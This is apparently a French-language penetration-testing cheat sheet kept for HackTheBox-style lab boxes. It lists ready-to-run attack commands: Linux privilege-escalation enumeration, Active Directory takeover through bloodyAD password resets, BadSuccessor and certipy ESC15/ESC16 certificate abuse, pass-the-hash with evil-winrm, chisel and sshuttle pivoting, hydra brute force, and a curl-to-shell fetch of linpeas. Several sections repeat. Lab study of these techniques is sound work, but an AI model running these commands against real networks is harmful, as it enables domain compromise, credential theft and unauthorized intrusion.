по Anthony Guilbert 4 дней назад
486
Больше похоже на это
Fichiers interessants :
/home/* /opt /srv /var/www /var/backup /var/log
Fichiers potentiellement sensibles :
find / -type f \( -iname "*.db" -o -iname "*.sqlite" -o -iname "*.db3" \) 2>/dev/null
find / -type f \( -name ".env" -o -name ".git" -o -iname "*config*" -o -iname "*secret*" -o -iname "*credential*" -o -iname "*.bak" -o -iname "*.old" \) 2>/dev/null
Enumeration manuelle :
sudo -l (L !) ps aux / ps -ef whoami && id && hostname && uname -a groups env
docker dispo ? > Annexe : Docker escape
Crontab
crontab -l ls -la /etc/cron* /var/spool/cron/
Capabilities / suid etc
http[s]://gtfobins.github.io/
getcap -r / 2>/dev/null find / -perm -4000 -type f 2>/dev/null
Réseau
ss -tulnp netstat -antup
Files
Find files
(New-Object -ComObject Shell.Application).Namespace(0xA).Items() | ForEach-Object { "$($_.Name) - $($_.Path)" }
Restore file
Copy-Item 'C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103\$RE2XMEG.7z' -Destination 'C:\Users\f.frizzle\Desktop\\wapt-backup-sunday.7z'
List - via LDAPsearch
ldapsearch -H ldap://10.10.11.72 -D 'user' -w 'password' -b "CN=Deleted Objects,DC=CHANGEME,DC=CHANGEME" -E '!1.2.840.113556.1.4.417' "(objectClass=user)" msDS-LastKnownRDN distinguishedName whenChanged
List - via powershell
Get-ADObject -Filter 'ObjectClass -eq "user"' -IncludeDeletedObjects -Properties * | Where-Object { $_.IsDeleted -eq $true } | Select-Object Name, DistinguishedName, ObjectSID
Restore
Restore-ADObject -Identity "*" * = replace with the full DN ( CN=, DC=) that you got from the list cmd
Ajouter un utilisateur dans un groupe
bloodyAD --host DC_IP -d DOMAIN -u controlledUser -p password add groupMember GROUP_NAME controlledUser
Lister les utilisateurs d'un groupe
bloodyAD --host DC_IP -d DOMAIN -u controlledUser -p password get groupMember groupName
Changer le mot de passe d'un utilisateur
bloodyAD --host DC_IP -d DOMAIN -u privilegedAccount\$ -p privilegedAccountPasswordHash set password TargetUser NewPassword
Lister les groupes d'un utilisateur
bloodyAD --host DC_IP -d DOMAIN -u controlledUser -p password get membership controlledUser
--------------------------------------------------------------------------------------
Badsuccessor - AD 2025
bloodyAD -s --host "dc.DOMAIN.TLD" -d "DOMAIN.TLD" -u 'USERNAME' -p 'NTLMHASH' -k add badSuccessor TARGETUSER --ou 'OU=OU_NAME,DC=DOMAIN,DC=TLD'
BadSuccessor - 2025
Badsuccessor - AD 2025
bloodyAD -s --host "dc.DOMAIN.TLD" -d "DOMAIN.TLD" -u 'USERNAME' -p 'NTLMHASH' -k add badSuccessor TARGETUSER --ou 'OU=OU_NAME,DC=DOMAIN,DC=TLD'
Users
Changer le mot de passe d'un utilisateur
bloodyAD --host DC_IP -d DOMAIN -u privilegedAccount -p privilegedAccountPassword set password TargetUser NewPassword
Groups
Ajouter un utilisateur dans un groupe
bloodyAD --host DC_IP -d DOMAIN -u controlledUser -p password add groupMember GROUP_NAME controlledUser
Lister les utilisateurs d'un groupe
bloodyAD --host DC_IP -d DOMAIN -u controlledUser -p password get groupMember groupName
Lister les groupes d'un utilisateur
bloodyAD --host DC_IP -d DOMAIN -u controlledUser -p password get membership controlledUser
List a user's ACEs using dacledit
List ACEs
dacledit.py domain/"user":'password' -dc-ip ip -target username -principal-sid S-1-5-10
python3 ../BloodHound.py/bloodhound.py -d DOMAIN -dc DOMAIN -ns IP --zip -c All -u "USER" -p "PASSWORD"
Installation avec pipx install certipy-ad !
Mindmap réalisée sous certipy 5.0.2
python3.12 >
ESC
nxc permet de faire de l'énumération rapide et simple sur les comptes windows, que ca soit du SMB, check si le compte peut faire du winrm rdp etc
Lien du wiki avec tout les tutos de privesc via ESC :
https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#
ESC16
Lire attributs :
certipy account -u 'controlledUser@domain' -p 'password' -dc-ip ip -user 'targerUser' read
Changer l’UPN → administrator (il faut certains droits evidemment) :
certipy account -u 'controlledUser@domain' -p 'password' -dc-ip ip -upn 'administrator' -user 'targetUser' update
Récup ccache + demande de certificat avec
certipy shadow -u 'controlledUser@Domain' -p 'password' -dc-ip 'ip' -account 'targetAccount' auto export KRB5CCNAME=*.ccache certipy req -k -dc-ip 'ip' -target 'dc01.xxx.htb' -ca 'xx-DC01-CA' -template 'User'
Réinitialiser l'UPN
certipy account -u 'controlledUser@domain' -p 'password' -dc-ip ip -upn 'initialUPN' -user 'targetUser' update
Authentification avec le certificat
certipy auth -dc-ip 'ip' -pfx 'administrator.pfx' -username 'administrator' -domain 'domain'
Connexion finale
evil-winrm -u administrator -H hash -i ip tree /a /f
ESC15
Prérequis:
Schema version : 1
ENROLLEE_SUPPLIES_SUBJECT : TRUE
C:\Windows\System32\certutil.exe
certipy req -u 'controlledUser@domain' -p 'password' -dc-ip 'DC_IP' -target 'CA_HOST' -ca 'CA_NAME' -template 'EnrollmentAgentTemplate' -application-policies 'Certificate Request Agent'
certipy req -u 'controlledUser@domain' -p 'password' -dc-ip 'DC_IP' -target 'CA_HOST' -ca 'CA_NAME' -template 'User' -on-behalf-of 'DOMAIN\\TargetUser' -pfx 'controlledUser.pfx'
certipy auth -pfx 'TargetUser.pfx' -dc-ip 'DC_IP'
KESBEROASTABLE
KESBEROASTABLE
certipy shadow auto -u 'user@domain' -p 'password' -account 'targetUser' -dc-ip 'ip'
FIND
Récupérer les certificats vulnérables + check ESC
certipy find -u targetUser@domain -hashes :targetNTLMHash -target domain -dc-host dcHost.domain -dc-ip targetIP -vulnerable -stdout
Quelques commandes ou autres à faire quand on bosse avec du windows
Avant de commencer une box, lire la partie sur la synchro de la date !
Toujours prendre le reflexe de faire un fichier users et un fichier passwords
UTILISER NETEXEC A FOND
nxc permet de faire de l'énumération rapide et simple sur les comptes windows, que ca soit du SMB, check si le compte peut faire du winrm rdp etc
Donc à chaque nouveau compte :
nxc protocole ip -u "user/userFile" -p "password/passFile"
Exemple d'énum de base quand on nous donne un user :
nxc smb ip -u "utilisateur" -p "mdp" users nxc smb ip -u "utilisateur" -p "mdp" shares nxc winrm ip -u/-p
Si aucune info ou quoi -> bloodhound
whoami /all net localgroup -group- net user /domain
Sync your time&date with the server in order to perform multiple kerberos attacks
First method :
sudo rdate -r IP
Second method :
sudo ntpdate IP
If it doesnt work :
sudo systemctl stop systemd-timesyncd sudo systemctl disable systemd-timesyncd
To reset the time :
sudo ntpdate -r pool.ntp.org
Things i'm keeping whendoing htb, thm, ptd etc boxes
sshuttle
te donne accès à tout le réseau routable par la cible, sauf :127.0.0.1
(loopback local de la victime)iptables
ou firewalld
sur la victimetcp 127.0.0.1:8080 → ❌ inaccessible via sshuttle tcp 0.0.0.0:80 → ✅ accessible via sshuttle tcp 192.168.1.100:22 (autre machine interne) → ✅ accessible via sshuttle
Donc sshuttle
= VPN vers réseau
Mais pas un accès aux services uniquement en localhost sur la machine SSH elle-même.
sshuttle -r username@sshserver 0.0.0.0/0
Sans accès SSH -- chisel
Sur la victime (10.10.11.64), upload chisel et lance :
./chisel server --reverse --port 9999
9999
est le port utilisé pour communiquer avec ton hôtechisel client 10.10.11.64:9999 R:8080:127.0.0.1:8080
R:
= reverse port forward (on veut accéder à un port local de la victime).127.0.0.1:8080
= port local à la victime.8080
= port exposé sur ton hôte local.Sur l'exemple dessus, on peux apres sur l'host se connecter via
http://localhost:8080/login/
Avec un accès SSH
ssh -L 8080:127.0.0.1:8080 tobias@10.10.11.64
Le premier port = local
Le deuxième = distant
ssh -fNL xxx = en background
ssh -i id_rsa user@ip
Lister les shares
smbclient -L //ip/ -U 'user%password'
Se connecter avec le client sur un share spécifique
smbclient //ip/share -U 'user%password'
Télécharger tout les fichiers
On se connecte au share puis dans le client
PROMPT off mget *
setup un listener avant
dig @mortysserver.com mortysserver.com axfr
Exemple : 10.150.150.57 rickscontrolpanel.mortysserver.com
Sync your time&date with the server in order to perform multiple kerberos attacks
First method :
sudo rdate -r IP
Second method :
sudo ntpdate IP
If it doesnt work :
sudo systemctl stop systemd-timesyncd sudo systemctl disable systemd-timesyncd
script /dev/null -qc /bin/bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
Download file
Copy-Item 'C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103\$RE2XMEG.7z' -Destination 'C:\Users\f.frizzle\Desktop\\wapt-backup-sunday.7z'
Find file
(New-Object -ComObject Shell.Application).Namespace(0xA).Items() | ForEach-Object { "$($_.Name) - $($_.Path)" }
grep -r pattern
search in files ( -recursive )
find / -type f -name 'FLAG[0-9][0-9]' 2>/dev/null
find ./* | grep FLAG3
find / \( -name ".env" -o -name ".git" \) 2>/dev/null
find / -type f -name 'FLAG[0-9].txt' 2>/dev/null
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation
find / -perm -u=s -type f 2>/dev/null
ln -s /root /home/michael/importantfiles/rootbackup
searchsploit -m chemin
searchsploit xxxx
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
wpscan --url url_wordpress --passwords wordlist
wpscan --url url --enumerate u
wpscan --url url --enumerate vp,vt
https://github.com/synacktiv/phpfilterchaingenerator/blob/main/phpfilterchaingenerator.py
Subdomain enumeration
wfuzz -c -t 100 -z file,<wordlist> --sc 200 -H "Host: FUZZ.planning.htb" http://planning.htb/ ffuf -u http://planning.htb/ -w <wordlist> -H "Host: FUZZ.planning.htb" -mc 200 -t 200 -v
Enum
wfuzz -c -z file,wordlist --follow -H "Cookie: PHPSESSID=ah09c3b0431vss4il8gg4ih2fl" --hh 2985 "http://nocturnal.htb/view.php?username=FUZZ&file=.docx"
Paramètres
-z mode de fuzz
--follow pour suivre les redirects
--hh xx => Ignore les réponses de xx caractères
--sc => filtre par codes ( -sc 200 - affiche que les 200 )
--hc => filtre exclusif ( -hc 404,301,etc )
feroxbuster -u http://example.com -w wordlist -x php,html,txt -v -o output.txt --filter-status 404
feroxbuster -u url -w ~/Desktop/SecLists-master/Discovery/Web-Content/common.txt --filter-status 404
Paramètres
-k = certif autosigné
gobuster vhost -u http://planing.htb -w /usr/share/wordlists/seclist/Discovery/DNS/namelist.txt --append-domain -t 200
Bruteforce Protocole
hydra -l operator -P wordlist.txt 10.150.150.56 <protocole>
Formulaire POST
hydra -L users -P passwords 10.150.150.38 -s 30609 http-post-form "/login/index.php:username=^USER^&password=^PASS^&s_mod=login&s_pg=index:F=Username or Password wrong"
Basic auth
hydra -L users -P /usr/share/wordlists/rockyou.txt http-get://127.0.0.1:8000/ -V -t 64
Paramètres
-s = port
python3 depix.py -p pixel_image -s images/searchimages/image.png